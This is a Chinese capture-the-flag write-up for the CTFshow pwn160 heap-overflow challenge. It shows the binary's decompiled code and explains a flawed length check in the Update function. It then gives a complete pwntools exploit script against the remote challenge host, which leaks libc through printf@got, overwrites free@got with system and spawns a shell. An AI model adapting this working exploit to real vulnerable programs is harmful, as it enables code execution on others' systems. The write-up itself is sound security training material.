CTFshow-pwn160

[!NOTE]

堆溢出

  • 远程环境:Ubuntu 16.04

暑假了,熬人的期末周终于熬完了~ NSSCTF 靶场刷题先稍微暂停,刷一刷 ctfshow 巩固一下堆的基础吧~

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

先来检查一下二进制文件保护,发现 got 表可改

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn160
[*] '/home/niuyingying/ctf/pwn/pwn160'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)

接下来看一下 ida 中的伪代码,发现需要改一改函数名,程序大致流程如下

unsigned int menu()
{
  unsigned int result; // eax
  unsigned int v1; // [esp+Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("0: Add a user");
  puts("1: Delete a user");
  puts("2: Display a user");
  puts("3: Update a user description");
  puts("4: Exit");
  printf("Action: ");
  result = __readgsdword(0x14u) ^ v1;
  if ( result )
    sub_8048EF0();
  return result;
}
void __cdecl __noreturn main(int a1)
{
  int v1; // [esp+2h] [ebp-14h] BYREF
  _DWORD v2[4]; // [esp+6h] [ebp-10h] BYREF

  v2[2] = &a1;
  v2[1] = __readgsdword(0x14u);
  init_1();
  alarm(0x14u);
  init_2();
  while ( 1 )
  {
    menu();
    if ( __isoc99_scanf("%d", &v1) == -1 )
      break;
    if ( !v1 )
    {
      printf("size of description: ");
      __isoc99_scanf("%u%c", v2);
      Add(v2[0]);
    }
    if ( v1 == 1 )
    {
      printf("index: ");
      __isoc99_scanf("%d", v2);
      Delete(LOBYTE(v2[0]));
    }
    if ( v1 == 2 )
    {
      printf("index: ");
      __isoc99_scanf("%d", v2);
      Display(LOBYTE(v2[0]));
    }
    if ( v1 == 3 )
    {
      printf("index: ");
      __isoc99_scanf("%d", v2);
      Update(LOBYTE(v2[0]));
    }
    if ( v1 == 4 )
    {
      puts("Bye");
      exit(0);
    }
    if ( (unsigned __int8)index > 0x31u )
    {
      puts("MAX,see you~");
      exit(0);
    }
  }
  exit(1);
}
_DWORD *__cdecl Add(size_t size)
{
  _DWORD *result; // eax
  void *s; // [esp+14h] [ebp-14h]
  _DWORD *v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  s = malloc(size);
  memset(s, 0, size);
  v3 = malloc(0x80u);
  memset(v3, 0, 0x80u);
  *v3 = s;                                      // 把 s 指针存入 v3 开头的 4 字节
  dword_804B080[(unsigned __int8)index] = v3;
  printf("name: ");
  Read(dword_804B080[(unsigned __int8)index] + 4, 124);
  Update((unsigned __int8)index++);
  result = v3;
  if ( __readgsdword(0x14u) != v4 )
    sub_8048EF0();
  return result;
}
unsigned int __cdecl Delete(unsigned __int8 a1)
{
  unsigned int result; // eax
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)index && dword_804B080[a1] )
  {
    free(*(void **)dword_804B080[a1]);
    free((void *)dword_804B080[a1]);
    dword_804B080[a1] = 0;
  }
  result = __readgsdword(0x14u) ^ v2;
  if ( result )
    sub_8048EF0();
  return result;
}
unsigned int __cdecl Display(unsigned __int8 a1)
{
  unsigned int result; // eax
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)index && dword_804B080[a1] )
  {
    printf("name: %s\n", dword_804B080[a1] + 4);
    printf("description: %s\n", *(_DWORD *)dword_804B080[a1]);
  }
  result = __readgsdword(0x14u) ^ v2;
  if ( result )
    sub_8048EF0();
  return result;
}
unsigned int __cdecl Update(unsigned __int8 a1)
{
  unsigned int result; // eax
  int v2; // [esp+18h] [ebp-10h] BYREF
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)index && dword_804B080[a1] )
  {
    v2 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v2);
    if ( *(_DWORD *)dword_804B080[a1] + v2 >= (unsigned int)(dword_804B080[a1] - 4) )
    {
      puts("Wtf?");
      exit(1);
    }
    printf("text: ");
    Read(*(char **)dword_804B080[a1], v2 + 1);
  }
  result = __readgsdword(0x14u) ^ v3;
  if ( result )
    sub_8048EF0();
  return result;
}

发现 Update 函数存在漏洞, *(_DWORD *)dword_804B080[a1] + v2 < (unsigned int)(dword_804B080[a1] - 4) 释放 0 号后再申请 size=0x80 的 2 号,其 s 会复用 0 号 v3 ,此时 Update(2) 的可写范围就会覆盖 1 号

那么大致思路就是第一次溢出让 idx1.description = printf@got ,用 Display(1) 泄露 libc,第二次溢出让 idx1.description = free@gotUpdate(1) 往 free@got 写 system ,最后 Delete(2) 此时 free("/bin/sh") 已经变成了 system("/bin/sh")

攻击脚本如下:

from pwn import *

context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn160')
libc = ELF('./libc-2.23.so')

# io = process('./pwn160')
io = remote("pwn.challenge.ctf.show",28154)

# io = gdb.debug('./pwn160', gdbscript='set pagination off\nb *0x08048AD2\nb *0x08048B73\nb *0x08048C14\nb *0x08048E22\nc')

# io = gdb.debug(
#     './pwn160',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# b *0x08048AD2
# b *0x08048B73
# b *0x08048C14
# b *0x08048E22
# c
# '''
# )

def Add(size,name,length,text):
    io.recvuntil(b"Action: ")
    io.sendline(b"0")
    io.recvuntil(b"size of description: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"name: ")
    io.sendline(str(name).encode())
    io.recvuntil(b"text length: ")
    io.sendline(str(length).encode())
    io.recvuntil(b"text: ")
    io.sendline(text)

def Delete(i):
    io.recvuntil(b"Action: ")
    io.sendline(b"1")
    io.recvuntil(b"index: ")
    io.sendline(str(i).encode())

def Display(i):
    io.recvuntil(b"Action: ")
    io.sendline(b"2")
    io.recvuntil(b"index: ")
    io.sendline(str(i).encode())

def Update(i,length,text):
    io.recvuntil(b"Action: ")
    io.sendline(b"3")
    io.recvuntil(b"index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"text length: ")
    io.sendline(str(length).encode())
    io.recvuntil(b"text: ")
    io.sendline(text)

def Exit():
    io.recvuntil(b"Action: ")
    io.sendline(b"4")

Add(0x20,0,0x20,b"aaaa")
Add(0x20,1,0x20,b"bbbb")
Delete(0)

printf_got = elf.got['printf']
free_got = elf.got['free']
payload1 = b"/bin/sh\x00" + b"\x00" * (0x80 - 4) + p32(0x29) + b"\x00" * (0x20 + 4) + p32(0x89) + p32(printf_got) + p32(0x31)
Add(0x80,2,0xB8,payload1)

Display(1)
io.recvuntil(b"name: 1\n")
io.recvuntil(b"description: ")

leak = u32(io.recv(4))
print(hex(leak))

libc_base = leak - libc.symbols['printf']
print(hex(libc_base))

system_addr = libc_base + libc.symbols['system']

payload2 = b"/bin/sh\x00" + b"\x00" * (0x80 - 4) + p32(0x29) + b"\x00" * (0x20 + 4) + p32(0x89) + p32(free_got) + p32(0x31)
Update(2,0xB8,payload2)

Update(1,4,p32(system_addr))
Delete(2)

io.interactive()
posted @ 2026-08-10 16:14  AurY1n  阅读(1)  评论(0)    收藏  举报